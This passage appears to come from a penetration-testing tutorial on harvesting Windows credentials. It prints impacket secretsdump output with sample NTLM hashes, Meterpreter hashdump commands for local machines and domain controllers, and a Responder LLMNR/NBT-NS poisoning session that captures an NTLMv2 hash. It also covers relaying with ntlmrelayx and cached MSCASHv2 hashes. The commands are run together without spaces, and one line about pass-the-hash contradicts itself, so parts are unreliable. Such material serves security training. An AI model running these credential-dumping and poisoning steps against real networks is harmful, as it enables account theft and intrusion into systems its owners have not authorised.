Then retrieve NTLM hashes with secretdump from impacket:
$secretsdump.py-samsam.save-securitysecurity.save-systemsystem.saveLOCAL[...][*] Dumping local SAM hashes (uid:rid:lmhash:nthash)renadm:500:aad3b435b51404eeaad3b435b51404ee:3e24dcead23468ce597d6883c576f657:::Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::support:1000:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::[...]
Retrieve and crack NTLM hashes with Meterpreter
On local machines, simply use smart_hashdump:
meterpreter>runpost/windows/gather/smart_hashdump
On domain controllers, two ways to retrieve domain users NTLM hashes:
# NTDS.dit (must be prefered)meterpreter>runpost/windows/gather/credentials/domain_hashdump# LSASS injectionmeterpreter>runpost/windows/gather/smart_hashdump
LSASS injection technique is not a safe and must be avoided!
NTLMv1/v2 hashes are derived from a challenge/response algorithm and are based on the user's NT hash.
Alice access to the share
Fileserver generate a challenge (random number) and send it to Alice
Alice send challenge answer obtained by passing to a function her NTLM hash and the challenge
File server ask domain controller to perform the computation and compare the results
Domain controller says it is ok
Alice can access to the fileserver
These hashes can be retrieved with tools like Responder or Inveigh:
root@kali:~/Desktop#responder-Ieth0[+] Listening for events...[*] [LLMNR] Poisoned answer sent to 192.168.10.60 for name fileserver01[*] [NBT-NS] Poisoned answer sent to 192.168.10.60 for name FILESERVER01 (service:FileServer)[*] [LLMNR] Poisoned answer sent to 192.168.10.60 for name fileserver01[SMBv2] NTLMv2-SSP Client : 192.168.10.60[SMBv2] NTLMv2-SSP Username : WIN01\localadmin[SMBv2] NTLMv2-SSP Hash : localadmin::WIN01:8d58ff6cd3e9487b:E1AA44B82554D8E7BBA729FF28235D3A:0101000000000000C0653150DE09D201EB2E7F13305AD9ED000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D201060004000200000008003000300000000000000001000000002000000D7C14F31E5665A6B91C0B30726F3893C57F5973CFB38D5E1EC21ED6820EB2EB0A001000000000000000000000000000000000000900220063006900660073002F00660069006C00650073006500720076006500720030003100000000000000000000000000
NTLMv1/v2 can:
be relayed (with tools like MultiRelay of ntlmrelayx)
be cracked in a reasonable time
be used with Pass-the-Hash technique, no it cannot.
Retrieve MSCASHv1/v2 hashes
Let's say the machine you are trying to connect to cannot access the domain controller to authentication due to network outage or domain server shutdown. You are stuck. To solve that problem, machines stores hashes of the last (10 by default) domain users that logged into the machine. These hashes are MSCASHv2 hashes.
Let's see common techniques to retrieve these hashes.
Dumping SAM database manually
First, get a copy of SAM, SECURITY and SYSTEM hives: